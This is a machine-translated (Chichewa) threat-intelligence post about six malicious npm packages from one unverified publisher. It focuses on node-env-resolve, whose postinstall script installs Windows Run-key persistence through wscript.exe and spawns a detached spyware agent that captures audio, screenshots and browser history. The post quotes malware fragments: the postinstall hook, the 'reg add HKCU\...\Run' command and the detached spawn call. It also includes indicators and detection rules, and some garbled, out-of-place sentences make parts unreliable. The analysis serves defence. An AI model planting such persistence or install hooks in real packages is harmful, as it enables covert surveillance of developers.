TL; DR
Pakati pa Epulo 1 ndi Meyi 3, 2026, wofalitsa m'modzi wa npm, user0001, yolembetsedwa ndi adilesi ya Gmail yosatsimikizika tanvisoul9@gmail.com, adayika pang'onopang'ono mapaketi asanu ndi limodzi ndi mayina osamveka bwino komanso omveka ngati ofunikira pa zomangamanga: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimendipo node-env-resolve.
Mabaibulo awiri aposachedwa a node-env-resolve, 1.0.7 ndi 1.0.8, zinadziwika ndi dongosolo la Xygeni's Malware Early Warning (MEW) pa Meyi 2 ndipo zinatsimikiziridwa kuti ndi zoipa pa Meyi 3.
Choyikacho ndi chachilendo monga momwe sichiliri: palibe ma bots a Telegram, palibe ma callback a OAST, ayi kuwombera, ndipo palibe kuyesa kutenga ziphaso za AWS panthawi yokhazikitsa. M'malo mwake, postinstall.js imayika Windows boot-persistence entry, pogwiritsa ntchito kiyi ya HKCU Run yomwe imatsegula wscript.exe motsutsana ndi VBS stub. Kenako imapanga wothandizira wa Node.js wodzipatula yemwe amaphatikiza ma module kuti azitha kujambula maikolofoni, kuba mbiri ya msakatuli, kujambula zithunzi, ndi kuyerekezera mbewa/kiyibodi.
Tikutcha gulu ili DevTap, pambuyo pake, zimachoka zikugwira ntchito pa makina a wopanga mapulogalamu.
Maphukusi onse asanu ndi limodzi anali amoyo pa npm panthawi yolemba nkhaniyi. Tawatumiza ku njira yolankhulirana yolankhulirana ndi anthu ena. Oteteza ayenera kuchotsa chilichonse chomwe chayikidwa kuchokera kwa wofalitsayo podikira kuti achotsedwe.
Gulu: Maphukusi Asanu ndi Limodzi, Wofalitsa Mmodzi
Akaunti ya wofalitsa user0001 sichinatsimikizidwe. Sichili ndi SCM kutsimikizira, palibe imelo yolumikizidwa ndi domain, komanso palibe mbiri yakale. Chogwirira cha Gmail tanvisoul9 sichikupezeka mu mbiri ina iliyonse ya ofalitsa a npm yomwe tingapeze.
Maphukusi onse asanu ndi limodzi amalemba wosamalira yemweyo, adasindikizidwa kuchokera ku akaunti yomweyo, ndipo amagawana zomwezo package.json mbale yophikira. Palibe repository, ayi homepage, ndipo ayi description yayitali kuposa mzere umodzi.
Njira yopezera mayina ndi gawo losangalatsa. Mosiyana ndi kampeni yodziwika bwino yokhudzana ndi kudalira kapena yolemba, palibe mayina aliwonse awa omwe amayang'ana laibulale inayake yakum'mwera. M'malo mwake, amakonzedwa kuti asakhalenso enieni. package.json or npm ls zotsatira.
| phukusi | Choyamba Chofalitsidwa | Kusintha Kwatsopano | Versions | Udindo mu Gulu |
|---|---|---|---|---|
| centralogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, kuyambira 1.0.5 mpaka 1.0.9 | Chivundikiro cha "logging utility" cha Cluster; kufalitsa koyambirira |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Chivundikiro cha DOM-helper chodziwika bwino |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Banja lotengera mfundo zofanana |
| cholumikizira-chothandizira | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Dzina lachibadwa lakuti “wothandizira” |
| nthawi yothamanga ya node-gyp | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Zida zomangira za Mimics native-module |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, kuyambira 1.0.0 mpaka 1.0.9 | Chotsitsa chogwira ntchito; choyikamo chonse |
Mayina monga centralogger, node-fetch-litendipo node-gyp-runtime Zapangidwa kuti ziwoneke ngati zosatsutsika mu ndemanga ya ma code. Zimamveka ngati zinthu zomwe zikanakhala kale mu mtengo wodalira polojekiti.
Pophatikizidwa ndi wofalitsa watsopano, wosatsimikizika komanso maulalo osungira omwe akusowa, amapanga mawonekedwe odziwika bwino: wosewera akubzala mayina ocheperako mu registry, kenako n’kubwerezabwereza mwachangu pa omwe ali ofunika. Pankhaniyi, node-env-resolve adalandira mitundu khumi m'masiku asanu ndi atatu.
Zomwe Zimapezeka pa Bokosi la Windows Dev
Unyolo woipa uli pa node-env-resolve:1.0.8 ndi lalifupi, lolunjika, komanso lodzaza ndi zinthu zachilendo pa npm RAT.
Kukhazikitsa Pambuyo: Kulimbikira ndi Wothandizira Wodzipatula
package.json imalengeza mbedza imodzi yokhazikitsa:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js amachita zinthu zitatu motsatizana.
Choyamba, imayika chikwatu chokhazikitsa kunja kwa mtengo wa npm. Njirayo imawerengedwa nthawi yogwirira ntchito mu script monga INSTALL_DIRKenako imayendetsa mkati execSync('npm install --production --silent ...') mkati mwake kuti mukoke mphamvu za nthawi yogwiritsira ntchito implant. Izi zimayika wothandizirayo pa diski kwinakwake ngati buku la malangizo node_modules audit sadzapeza.
Chachiwiri, imalemba choyambitsa VBS ndikuchilembetsa kuti chikhale cholimba:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe ndi Windows Script Host, Microsoft binary yosainidwa yomwe imagwira ntchito .vbs mafayilo opanda zenera la console. Zimenezo ndi zoyambiriracisChifukwa chake, ndi bwino kugwiritsa ntchito ma autorun stubs.
Palinso kufanana reg delete njira yamkati src/index.js, zomwe zikusonyeza kuti choyikacho chapangidwa kuti chichotsedwe bwino ngati wochigwiritsa ntchito walamula.
Chachitatu, zimayambitsa njira yodzipatula ya mwana:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Zinthu ziwiri ndizofunikira apa.
SERVER_URL imawerengedwa kuchokera ku chilengedwe. Zotsatira zake, C2 endpoint imatha kukonzedwa pa nthawi iliyonse yogwiritsidwa ntchito ndipo siyikidwa mu phukusi. Kusankha kochepa koma kochita dala kumeneko kumapambana ma static-IOC sweep ambiri.
Komanso, mwana wobadwayo amalandira malo onse a makolo ake. Chifukwa chake, aliyense NPM_TOKEN, AWS_*, GITHUB_TOKEN, kapena soketi ya wothandizira wa SSH yomwe ili mu chipolopolo cha wopanga mapulogalamu nthawi yokhazikitsa imalowa mu kukumbukira kwa wothandizirayo kwa nthawi yayitali.
Zimene Wothandizira Amatumiza
Zomangidwa pamodzi src/ Mtengo uli ndi magawo atatu omwe mayina awo okha ndi omwe amafotokoza nkhaniyi: audioCapture.js, browserHistory.jsndipo systemInfo.js.
Mndandanda wodalira nthawi yogwiritsira ntchito, wathetsedwa panthawi yomwe yakhazikitsidwa npm install, akuwatsimikizira.
Njira imeneyi imasintha chochitika chosokonezeka kukhala yankho lolamulidwa.
M'malo mochita zinthu mopanda nzeru, magulu amagwira ntchito ndi Kukhazikitsa zinthu zofunika kwambiri komanso kukonza zinthu mwachangu.
| wodalira | Kodi cholinga chake ndi chiyani pankhaniyi? |
|---|---|
| desktop yazithunzi | Kujambula pazenera nthawi ndi nthawi |
| @mtedza-wa-mtedza-foloko/mtedza-js | Kuyeserera kwa mbewa ndi kiyibodi / kuyika zinthu pogwiritsa ntchito makina |
| better-sqlite3 | Kuwerenga mwachindunji kwa ma database a SQLite a Chrome, Edge, ndi Firefox History |
| adm-zip | Kusonkhanitsa zinthu zakale zomwe zasonkhanitsidwa musanazitulutse mumsewu |
| Lakuthwa | Kusintha kukula/kukanikiza zithunzi ndi zinthu zakale za zithunzi |
| socket.io-kasitomala | Njira ya C2 yokhazikika yozungulira mbali zonse ziwiri |
| chizindikiritso cha makina a node | Chala chokhazikika pa wolandila aliyense kuti atsatire wozunzidwayo |
systemInfo.js mayitanidwe os.networkInterfaces() kuti muwonjezere zojambula zala zanu musanayambe chizindikiro choyamba.
Chifukwa Chake Kujambula Ma Audio Ndi Chizindikiro Chodziwika Kwambiri
Ma RAT ambiri a npm omwe timawayesa mu MEW amasiya kuba mwachinsinsi nthawi yokhazikitsa. Amawerenga kuti ~/.npmrc, werengani ~/.aws/credentials, kukoka process.env, TUMIZANI ku webhook, ndikutuluka. Zimenezo zikugwirizana ndi njira yopezera ndalama. Ziphaso zimakhala ndi nthawi yochepa, ndipo wowukirayo ayenera kupeza ndalama mwachangu.
node-env-resolve ndi yosiyana mu mawonekedwe.
Kulimbikira kwakhazikitsidwa kuti kupulumuke kuyambiranso. Wothandizirayo amagwira ntchito payekha komanso kwa nthawi yayitali pansi pa wscript.exeZida zomwe ali nazo ndi zoti akhalepo pa makina a wopanga mapulogalamu, osati zoti azigwira ndikusiya: chojambulira maikolofoni, chowongolera kiyibodi/mbewa, kulowetsa mbiri yonse ya msakatuli, kujambula pazenera, ndi njira yolumikizirana ya Socket.IO kubwerera ku C2 yosinthika.
Kujambula maikolofoni makamaka ndi mzere womwe kampeni iyi imadutsa womwe mapulogalamu ambiri a pulogalamu yaumbanda ya npm sadutsa.
Malo ogwirira ntchito opanga mapulogalamu, mochulukira, ndi malo ogwirira ntchito kumene opanga mapulogalamu amakumana ndi anthu okhazikika, kuyimbira mafoni kwa makasitomala, kukambirana za kapangidwe ka zinthu, komanso kulumikizana kwa anthu olankhulana pa intaneti. Choyika chomwe chimajambula maikolofoni sichimatsatira kwenikweni chizindikiro cha npm cha wopanga mapulogalamu. Chimachita zomwe wopanga mapulogalamu amanena patsogolo pa laputopu.
Mphamvu imeneyo, kuphatikizapo kusowa kwa kubisika komanso kusowa kwa njira yodziwira nthawi yoyika, imawerengedwa ngati njira yodziwira mwayi wolowera m'malo mobera ziphaso za mwayi.
Sitikunena kuti izi ndi zoona, koma tikuona momwe zinthu zilili.
Kubwerezabwereza kwa masiku asanu ndi atatu pa node-env-resolve ndiye tsatanetsatane wodziwika bwino kwambiri mu nthawi yake.
Izi si zinthu zongopeka chabe. Wofalitsayo akusamalira bwino chotsitsacho, zomwe nthawi zambiri zimatanthauza chimodzi mwa zinthu ziwiri. Mwina akuchikonza kuti chigwirizane ndi malo oyesera asanachigwiritse ntchito, kapena ali kale ndi telemetry yokhazikitsa ndipo akuyankha.
Ma phukusi ena asanu sanasinthe chilichonse atangosindikizidwa koyamba. Izi zikugwirizana ndi kachitidwe ka "gawo kamodzi, siyani dzina" la gulu lothandizira pomwe khama la uinjiniya limayang'ana kwambiri pa phukusi lomwe limagwira ntchitoyo.
Kupereka: Zizindikiro Zing'onozing'ono, Palibe Chigamulo Cholimba
Public OSINT Zizindikiro ndi zoonda, ndipo sitidzazitambasula. Zomwe zimawoneka:
Chogwirira cha Gmail tanvisoul9 ikufanana pang'ono ndi dzina la ku South Asia, "Tanvi." Ichi ndi chizindikiro chofooka. Zogwirira za Gmail si chizindikiro, ndipo zimatsatira soul9 ndi yodziwika bwino. Sikotetezeka kuyerekeza malo kuchokera ku imelo yokha.
Kalembedwe ka code ndi kosadabwitsa Node.js: standard mafoni a laibulale monga os, child_process, spawnndipo reg addPalibe kubisa, palibe kusinthasintha kwa zingwe, komanso palibe njira yotsutsana ndi zolakwika. Wolembayo ali bwino ndi ma primitives a Windows registry ndi njira zodzipatula za ana, koma akuoneka kuti sakufuna luso lachinsinsi lomwe mwina angagwiritse ntchito.
Zinthu zodalira sizikudziwika bwino ndipo zimadziwika bwino: screenshot-desktop, nut-js, better-sqlite3ndipo socket.io-clientPalibe njira yokhazikitsira zinthu, palibe C2 stack yozungulira kuchokera pachiyambi, komanso palibe njira yatsopano yolimbikira kupatula buku lophunzitsira. Kiyi yothamanga ya HKCUUyu ndi wophatikiza waluso, osati wolemba zida.
Sitinapeze ma strings osakhala a Chingerezi, ndemanga zosungidwa, deta ya malo, kapena zizindikiro za nthawi zowonetsera zomwe zili mkati mwa zinthu zakale zomwe zafalitsidwa.
Tayang'ana momwe ma code amagwirizanirana ndi ma campaign am'mbuyomu omwe timawatsata kale, kuphatikizapo Shai Hulud, Owlvion, Buildkite, ndi heibai yaposachedwa / claude-code-best Banja la ma clone a Anthropic-CLI. Sitinapeze chilichonse: palibe ma C2 omwe amagawidwa, palibe ma file ogawidwa, komanso palibe ma idioms ogawidwa.
Zimene sitinganene: kuti uyu ndi wochita sewero wa boma, gulu lodziwika, kapena wolumikizidwa ndi dziko linalake.
Mbiri ya ntchito ikugwirizana ndi gulu laling'ono, laluso pang'ono lomwe limayang'anira omanga ndi malo ogwirira ntchito. Zikuoneka kuti zimayendetsedwa ndi ndalama chifukwa chogwiritsa ntchito njira yolowera, komanso mwina kufufuza ngati ntchito kwa wogula wina.
Mfundo ziwiri zosalunjika zimathandizira zomwe zimati: kupewa njira zotulutsira chidwi zomwe zingawotche gulu mwachangu, monga ma bots a Telegram, oastify.com, kapena ma canarytoken, ndi mayina a phukusi lopanda tanthauzo, omwe amakonda kuyika kwachete kwa mchira wautali m'malo mokwera pang'ono kwa voliyumu yayikulu.
Zizindikiro za Kugwirizana ndi Kuzindikira
| Maphukusi ndi Wofalitsa | |
|---|---|
| Field | mtengo |
| wofalitsa wa npm | User0001 |
| Imelo ya wofalitsa | tanvisoul9@gmail.com, yosatsimikizika |
| phukusi | centralogger, dom-utils-lite, node-fetch-lite, cholumikizira-chothandizira, node-gyp-runtime, node-env-resolve |
| Zatsimikizika kuti ndi zoipa | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Zinthu Zakale Zochititsa Chidwi | |
|---|---|
| Type | mtengo |
| Kiyi yolimbikira | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Mtengo wolimbikira | Dzina losinthika; deta ya fomu ya wscript.exe " \\ .vbs" |
| Ikani mbedza | positi: node postinstall.js mu phukusi la manifest |
| Ma modules oikamo | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Chikwatu cha masitepe | INSTALL_DIR yathetsedwa kunja kwa node_modules ya pulojekitiyi; malo akhazikitsidwa ndi postinstall.js panthawi yokhazikitsa |
| Network | |
|---|---|
| Type | mtengo |
| Kuyendera kwa C2 | socket.io-client, njira yopitilira yolunjika mbali zonse ziwiri |
| Mapeto a C2 | Zaperekedwa kwa wothandizira kudzera mu SERVER_URL environment variable; sizimalembedwa m'zinthu zakale zofalitsidwa |
Zolemba Zozindikira
Malamulo awiri amagwira banjali popanda kufunikira mfundo ya C2.
Choyamba, lembani zolemba za postinstall zomwe zimachita mkati npm install kulowa munjira yomwe ili kunja kwa chikwatu cha phukusilo. Chotsitsa chilichonse chovomerezeka chomwe chisanamangidwe, monga node-gyp amamanganso kapena otsitsa a binary omwe adamangidwa kale, amalemba mkati mwa phukusi kapena mu pulatifomu-standard njira zosungiramo zinthu zakale zokhala ndi ma hashes otsimikizika. Sizimalemba mu pulogalamu yatsopano yopangidwa INSTALL_DIR kwina kulikonse pa diski.
Chachiwiri, onetsani zolemba zomwe zatulutsidwa pambuyo pokhazikitsa reg add HKCU\…\Run ndi wscript.exe monga choyambitsa. Izi sizili zovomerezeka kuchokera ku phukusi la npm. Ikani chizindikiro ndikuchiyika m'malo mwake.
Njira yachitatu yodziwira zinthu ndi yothandiza poona phukusi lotsatira la abale anu musanatsimikizire: wofalitsa watsopano wa npm wopanda SCM kutsimikizira, imelo ya Gmail, ayi repository malo, ndi mayina angapo afupiafupi, odziwika bwino, opangidwa ngati maziko omwe amafalitsidwa mkati mwa masiku angapo, okha, ndi okwanira kuti awerengedwe pamanja.
Zaperekedwa ku registry ya npm. Tidzasintha positi iyi akaunti ya wofalitsa ikachotsedwa.
